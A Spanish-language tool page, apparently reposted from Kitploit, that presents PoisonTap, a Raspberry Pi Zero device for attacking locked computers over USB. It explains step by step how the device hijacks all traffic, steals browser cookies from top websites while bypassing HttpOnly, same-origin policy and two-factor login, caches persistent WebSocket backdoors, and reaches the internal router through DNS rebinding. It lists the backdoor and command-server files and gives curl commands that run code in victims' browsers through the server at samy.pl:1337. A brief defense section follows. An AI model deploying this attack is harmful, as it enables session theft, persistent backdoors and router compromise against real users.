¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
poisontap — Explota ordenadores bloqueados/protegidos con contraseña mediante USB, instala una puerta trasera persistente basada en WebSocket, expone el router interno y extrae cookies usando Raspberry Pi Zero y Node.js. | Kitploit
Explota ordenadores bloqueados/protegidos con contraseña mediante USB, instala una puerta trasera persistente basada en WebSocket, expone el router interno y extrae cookies usando Raspberry Pi Zero y Node.js.
Cuando PoisonTap (una Raspberry Pi Zero y Node.js) se conecta a un ordenador bloqueado/protegido por contraseña, hace lo siguiente:
emula un dispositivo Ethernet sobre USB (o Thunderbolt)
secuestra todo el tráfico de Internet de la máquina (a pesar de ser una interfaz de red de baja prioridad/desconocida)
extrae y almacena las cookies y sesiones HTTP del navegador web de los 1.000.000 de sitios web principales de Alexa
expone el router interno al atacante, haciéndolo accesible de forma remota a través de WebSocket saliente y DNS rebinding (¡gracias a Matt Austin por la idea del rebinding!)
instala una puerta trasera web persistente en la caché HTTP de cientos de miles de dominios y URLs comunes de CDN de Javascript, todo ello con acceso a las cookies del usuario mediante envenenamiento de caché
permite al atacante forzar de forma remota al usuario a realizar peticiones HTTP y retransmitir de vuelta las respuestas (GET y POST) con las cookies del usuario en cualquier dominio con puerta trasera
no requiere que la máquina esté desbloqueada
las puertas traseras y el acceso remoto persisten incluso después de retirar el dispositivo y de que el atacante se marche
PoisonTap está diseñado para la Raspberry Pi Zero de $5 sin ningún componente adicional más que un cable micro-USB y una tarjeta microSD, o puede funcionar en cualquier Raspberry Pi (1/2/3) con un adaptador de Ethernet a USB/Thunderbolt, o en otros dispositivos que puedan emular gadgets USB como USB Armory y LAN Turtle.
Demostración en vivo y más detalles disponibles en el vídeo:
PoisonTap produce un efecto en cascada explotando la confianza existente en diversos mecanismos de una máquina y de la red, incluidos USB/Thunderbolt, DHCP, DNS y HTTP, para generar un efecto bola de nieve de exfiltración de información, acceso a la red e instalación de puertas traseras semipermanentes.
En resumen, PoisonTap realiza lo siguiente:
Secuestro de red
El atacante conecta PoisonTap (como una Raspberry Pi Zero armada) a un ordenador bloqueado (aunque el ordenador esté protegido por contraseña)
PoisonTap emula un dispositivo Ethernet (p. ej., Ethernet sobre USB/Thunderbolt) —por defecto, Windows, OS X y Linux reconocen un dispositivo Ethernet, lo cargan automáticamente como un dispositivo de red de baja prioridad y realizan una solicitud DHCP a través de él, incluso cuando la máquina está bloqueada o protegida por contraseña
PoisonTap responde a la solicitud DHCP y proporciona a la máquina una dirección IP; sin embargo, la respuesta DHCP está diseñada para indicarle a la máquina que todo el espacio IPv4 (0.0.0.0 - 255.255.255.255) forma parte de la red local de PoisonTap, en lugar de una subred pequeña (p. ej., 192.168.0.0 - 192.168.0.255)
Normalmente sería irrelevante que un dispositivo de red secundario se conectara a una máquina, ya que se le daría menor prioridad que al dispositivo de red (confiable) existente y no reemplazaría la puerta de enlace para el tráfico de Internet, pero...
Cualquier seguridad de tabla de enrutamiento / prioridad de puerta de enlace / orden de servicio de interfaz de red es eludida debido a la prioridad del "tráfico LAN" sobre el "tráfico de Internet"
PoisonTap explota este acceso a la red, incluso como dispositivo de red de baja prioridad, porque la subred de un dispositivo de red de baja prioridad recibe mayor prioridad que la puerta de enlace (ruta por defecto) del dispositivo de red de máxima prioridad
Esto significa que si el tráfico va destinado a 1.2.3.4, mientras que normalmente ese tráfico llegaría a la ruta por defecto/puerta de enlace del dispositivo de red principal (no PoisonTap), PoisonTap recibe el tráfico porque la red/subred "local" de PoisonTap supuestamente contiene 1.2.3.4, y todas las demás direcciones IP existentes ;)
Debido a esto, todo el tráfico de Internet pasa por PoisonTap, aunque la máquina esté conectada a otro dispositivo de red con mayor prioridad y una puerta de enlace adecuada (el wifi, ethernet, etc. reales)
Extracción de cookies
Mientras un navegador web se esté ejecutando en segundo plano, es probable que una de las páginas abiertas realice una solicitud HTTP en segundo plano (por ejemplo, para cargar un nuevo anuncio, enviar datos a una plataforma de análisis o simplemente continuar rastreando tus movimientos web) mediante AJAX o etiquetas dinámicas de script/iframe
Puedes comprobarlo por ti mismo: abre tus herramientas de desarrollo/inspector (normalmente Cmd+Shift+I o Ctrl+Shift+I), ve a un sitio web muy visitado, haz clic en la pestaña Network y observa cómo se siguen accediendo a recursos remotos mientras no realizas ninguna acción en la página
Ante esta solicitud HTTP, debido a que todo el tráfico sale a través del dispositivo PoisonTap, PoisonTap falsifica DNS sobre la marcha para devolver su propia dirección, haciendo que la solicitud HTTP llegue al servidor web de PoisonTap (Node.js)
Si el servidor DNS apunta a una IP interna (LAN) sobre la que PoisonTap no puede obtener privilegios, el ataque sigue funcionando, ya que el servidor DNS interno producirá direcciones IP públicas para los diversos dominios atacados, y son esas direcciones IP públicas las que PoisonTap ya ha secuestrado
Una vez que el servidor DNS interno responde, el navegador web accede a la IP pública, llegando en última instancia al servidor web de PoisonTap (Node.js) en cualquiera de los dos escenarios
Cuando el servidor web Node recibe la solicitud, PoisonTap responde con una respuesta que puede interpretarse como HTML o como Javascript, ambos se ejecutan correctamente (muchos sitios web cargan HTML o JS en solicitudes de segundo plano)
La página independiente de HTML/JS produce entonces numerosos iframes ocultos, cada iframe en un dominio diferente del top 1 millón de Alexa
Cualquier seguridad "X-Frame-Options" en el dominio es eludida, ya que PoisonTap es ahora el servidor HTTP y elige qué cabeceras enviar al cliente
A medida que se realiza cada solicitud HTTP de iframe a un sitio (p. ej., http://nfl.com/PoisonTap), las cookies HTTP se envían desde el navegador a la "IP pública" secuestrada por PoisonTap, que registra rápidamente las cookies/información de autenticación, almacenando decenas de miles de cookies del usuario en PoisonTap
Cualquier seguridad de cookies "HttpOnly" es eludida y esas cookies son capturadas, ya que no se ejecuta Javascript en el propio dominio, sino que solo se usa para cargar el iframe en primer lugar
Cualquier seguridad de Cross-Origin Resource Sharing o Same-Origin Policy es eludida, ya que el dominio al que se accede parece legítimo para el navegador
Debido a que capturamos cookies en lugar de credenciales, cualquier 2FA/MFA implementado en el sitio es eludido cuando el atacante utiliza la cookie para iniciar sesión. Esto se debe a que no estamos realizando la función de inicio de sesión, sino continuando una sesión ya iniciada que no activa la autenticación de dos factores
Si un servidor utiliza HTTPS, pero las cookies no establecen explícitamente la bandera de cookie Secure, la protección HTTPS es eludida y la cookie se envía a PoisonTap
Puertas traseras basadas en web accesibles de forma remota
Mientras PoisonTap producía miles de iframes, forzando al navegador a cargar cada uno, estos iframes no son en absoluto páginas en blanco, sino puertas traseras HTML+Javascript que se almacenan en caché indefinidamente
Debido a que PoisonTap fuerza el almacenamiento en caché de estas puertas traseras en cada dominio, la puerta trasera queda vinculada a ese dominio, lo que permite al atacante utilizar las cookies del dominio y lanzar solicitudes de mismo origen en el futuro, incluso si el usuario no tiene una sesión iniciada actualmente
Por ejemplo, cuando se carga el iframe http://nfl.com/PoisonTap, PoisonTap acepta el tráfico de Internet desviado y responde a la solicitud HTTP mediante el servidor web Node
Se añaden cabeceras HTTP adicionales para almacenar la página en caché de forma indefinida
La respuesta real de la página es una combinación de HTML y Javascript que produce un WebSocket persistente hacia el servidor web del atacante (a través de Internet, no en el dispositivo PoisonTap)
El WebSocket permanece abierto, lo que permite al atacante, en cualquier momento futuro, reconectarse a la máquina con puerta trasera y realizar solicitudes a cualquier origen que tenga la puerta trasera implementada (los 1.000.000 de sitios principales de Alexa -- ver más abajo)
Si la puerta trasera está abierta en un sitio (p. ej., nfl.com), pero el usuario desea atacar un dominio diferente (p. ej., pinterest.com), el atacante puede cargar un iframe en nfl.com hacia la puerta trasera de pinterest.com (http://pinterest.com/PoisonTap)
De nuevo, cualquier seguridad "X-Frame-Options", Cross-Origin Resource Sharing y Same-Origin Policy en el dominio es completamente eludida, ya que la solicitud llegará a la caché que PoisonTap dejó en lugar del dominio real
Puerta trasera en el router interno y acceso remoto
La única red que PoisonTap no puede secuestrar es la subred LAN real de la interfaz de red verdadera (por ejemplo, si la subred wifi del usuario es 192.168.0.x, esta red no se ve afectada), pero...
PoisonTap fuerza el almacenamiento en caché de una puerta trasera en un host especial, concretamente la IP del router objetivo antepuesta a ".ip.samy.pl", p. ej., 192.168.0.1.ip.samy.pl, produciendo esencialmente un ataque de DNS rebinding persistente
Cuando se usa PoisonTap como servidor DNS (la víctima usa un servidor DNS público), PoisonTap responde temporalmente con la IP especializada de PoisonTap (1.0.0.1), lo que significa que cualquier solicitud en ese momento llegará al servidor web de PoisonTap
Si, en cambio, el servidor DNS está configurado en la red interna (p. ej., 192.168.0.x), se realiza una solicitud adicional especialmente diseñada a 1.0.0.1**.pin.**ip.samy.pl, que le indica a mi servidor DNS especializado (en Internet público) que responda temporalmente a cualquier dirección [ip.address].ip.samy.pl con la dirección "fijada" (1.0.0.1) durante varios segundos
A continuación, PoisonTap instala rápidamente una puerta trasera en http://192.168.0.1.ip.samy.pl/PoisonTap, que por el momento apunta al dispositivo PoisonTap en 1.0.0.1, lo que permite acceder a la puerta trasera y almacenarla en caché desde el dispositivo PoisonTap
La seguridad de DNS pinning y DNS rebinding es eludida al agotar la tabla de fijación de DNS, debido a los cientos de miles de solicitudes realizadas justo antes, y no es necesario que se produzca ningún rebinding en el futuro, lo que hace que este ataque sea persistente durante largos períodos de tiempo (gracias a Matt Austin por compartir este ataque conmigo!)
Ahora que una puerta trasera está almacenada por la fuerza en caché en http://192.168.0.1.ip.samy.pl/PoisonTap, cualquier solicitud futura a 192.168.0.1.ip.samy.pl llegará a la dirección IP no fijada, haciendo que 192.168.0.1 se resuelva en su lugar, apuntando directamente al router
Esto significa que si se carga el host 192.168.0.1.ip.samy.pl/PoisonTap en un iframe de forma remota a través de la puerta trasera, ahora puedes realizar AJAX GET/POST a cualquier otra página del router interno, completamente en remoto, permitiendo así el acceso remoto al router interno
Esto puede dar lugar a otros ataques contra el router a los que el atacante quizás nunca habría tenido acceso en primer lugar, como que se utilicen las credenciales de administrador por defecto del router para sobrescribir los servidores DNS, o que se expongan otras vulnerabilidades de autenticación
Resumen del servidor DNS:
[ip.addy].ip.samy.pl normalmente responde con [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (registro A)
[ip.addy].pin.ip.samy.pl temporalmente (~5 segundos) apunta *.ip.samy.pl a [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (registro A, TTL corto)
(después de ~5 segundos)
192.168.0.1.ip.samy.pl -> 192.168.0.1 (registro A)
Puertas traseras adicionales basadas en web accesibles de forma remota
Además, PoisonTap reemplaza miles de archivos Javascript comunes basados en CDN, p. ej., los CDN de Google y jQuery, por el código correcto más una puerta trasera que otorga al atacante acceso a cualquier dominio que cargue el archivo Javascript infectado basado en CDN
Debido a que se deja una puerta trasera en cada dominio, esto permite al atacante forzar remotamente al navegador con puerta trasera a realizar solicitudes del mismo origen (AJAX GET/POST) en prácticamente cualquier dominio importante, incluso si la víctima no tiene actualmente ninguna ventana abierta hacia ese dominio
La puerta trasera ahora residirá en cualquier sitio adicional que también use uno de estos frameworks Javascript de CDN infectados y basados en HTTP cuando la víctima visite el sitio
Protección contra PoisonTap
Seguridad en el lado del servidor
Si estás ejecutando un servidor web, protegerte contra PoisonTap es sencillo:
Usa HTTPS de forma exclusiva, al menos para la autenticación y el contenido autenticado
Honestamente, deberías usar HTTPS de forma exclusiva y redirigir siempre el contenido HTTP a HTTPS, evitando que un usuario sea engañado para que proporcione credenciales u otra PII a través de HTTP
Asegúrate de que la bandera Secure esté habilitada en las cookies, evitando que las cookies de HTTPS se filtren a través de HTTP
Al usar recursos Javascript remotos, utiliza el atributo de etiqueta script de Subresource Integrity
Usa HSTS para prevenir ataques de degradación de HTTPS
Seguridad en el escritorio
Añadir cemento a tus puertos USB y Thunderbolt puede ser efectivo
Cerrar tu navegador cada vez que te alejas de tu máquina puede funcionar, pero es totalmente impracticable
Deshabilitar los puertos USB/Thunderbolt también es efectivo, aunque igualmente impracticable
Bloquear tu ordenador no tiene ningún efecto, ya que las pilas de red y USB operan mientras la máquina está bloqueada; sin embargo, entrar en un modo de suspensión cifrado en el que se requiere una clave para descifrar la memoria (p. ej., FileVault2 + suspensión profunda) resuelve la mayoría de los problemas, ya que tu navegador no realizará más solicitudes, incluso si se despierta
Nota: Si descubres que el dispositivo NO actúa como controlador Ethernet automáticamente (por ejemplo, versiones antiguas de Windows), puedes cambiar el VID y el PID en pi_startup.sh```bash
Coloca dhcpd.conf en /etc/dhcp/dhcpd.conf y el resto de los archivos en /home/pi/poisontap, luego reinicia para asegurarte de que todo funciona.
Hay una serie de <a href="https://github.com/samyk/poisontap" target=_blank>archivos en el repositorio</a>, que se utilizan en diferentes lados. La lista:
* **backdoor.html** - Cada vez que se accede a una URL http://hostname/PoisonTap para exfiltrar cookies, este archivo es lo que se devuelve como contenido forzado en caché. Contiene una puerta trasera que produce un websocket saliente hacia samy.pl:1337 (ajustable a cualquier host/puerto) que permanece abierto esperando comandos del servidor. Esto significa que cuando cargas un iframe en un sitio, como http://hostname/PoisonTap, este es el contenido que se rellena (incluso después de que PoisonTap se elimine de la máquina).
* **backend_server.js** - Este es el servidor Node.js que ejecutas en tu servidor accesible desde Internet. Es a lo que se conecta backdoor.html (por ejemplo, samy.pl:1337). Este es el mismo servidor al que te conectas para enviar comandos a tus máquinas minion infectadas con PoisonTap, por ejemplo```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
pi_poisontap.js - Este se ejecuta mediante Node.js en la Raspberry Pi Zero y es el servidor HTTP encargado de gestionar cualquier solicitud HTTP interceptada por PoisonTap, almacenar las cookies extraídas e inyectar las puertas traseras en caché.
pi_startup.sh - Este se ejecuta al inicio en la Raspberry Pi Zero para configurar el dispositivo de modo que emule un gadget Ethernet-over-USB, montar nuestro servidor DHCP malicioso, permitir el redireccionamiento de tráfico, el envenenamiento DNS y lanzar el pi_poisontap.js anterior.
target_backdoor.js - Este archivo se antepone a cualquier archivo Javascript relacionado con CDN, dejándoles así una puerta trasera, p. ej. la URL de jQuery de Google CDN.
target_injected_xhtmljs.html - Este es el código que se inyecta en solicitudes HTTP/AJAX no intencionadas o de segundo plano en la máquina de la víctima y pone en marcha todo el ataque. Está construido de tal manera que puede interpretarse como HTML o como Javascript y seguir ejecutando el mismo código. Además, el increíble canvas de HTML5 es obra del asombroso Ara oen CodePen y era demasiado asombroso como para no incluirlo. Este es el desatino gráfico que aparece cuando PoisonTap se apodera de la página.
poisontap.cookies.log - Este archivo se genera cuando la máquina del usuario comienza a enviar solicitudes HTTP a PoisonTap y registra la cookie del navegador junto con la URL/dominio asociado al que pertenece.
Preguntas frecuentes
P: ¿Cómo se añaden dominios adicionales a los que se les aplica la puerta trasera?
R: La lista de dominios a los que se les aplica la puerta trasera se define en target_injected_xhtmljs.html mediante la función getDoms(). Esta se rellena a su vez con el script alexa1m.sh que se encuentra en la raíz del repositorio. Si deseas añadir dominios adicionales a esta lista, simplemente puedes modificar la llamada de retorno en getDoms().
R: Debes limpiar la caché DNS del sistema operativo local, así como las cachés del navegador. También puede que necesites invalidar cualquier sesión iniciada en ese momento, ya que podría haber filtrado cookies. Asegúrate de que estas invalidan las cookies existentes, en lugar de simplemente cerrar tu sesión. (Si quieres trabajar de forma segura con un dispositivo PoisonTap en tu máquina actual, asegúrate de salir de cualquier navegador; entonces deberías poder conectarlo de forma segura a tu máquina).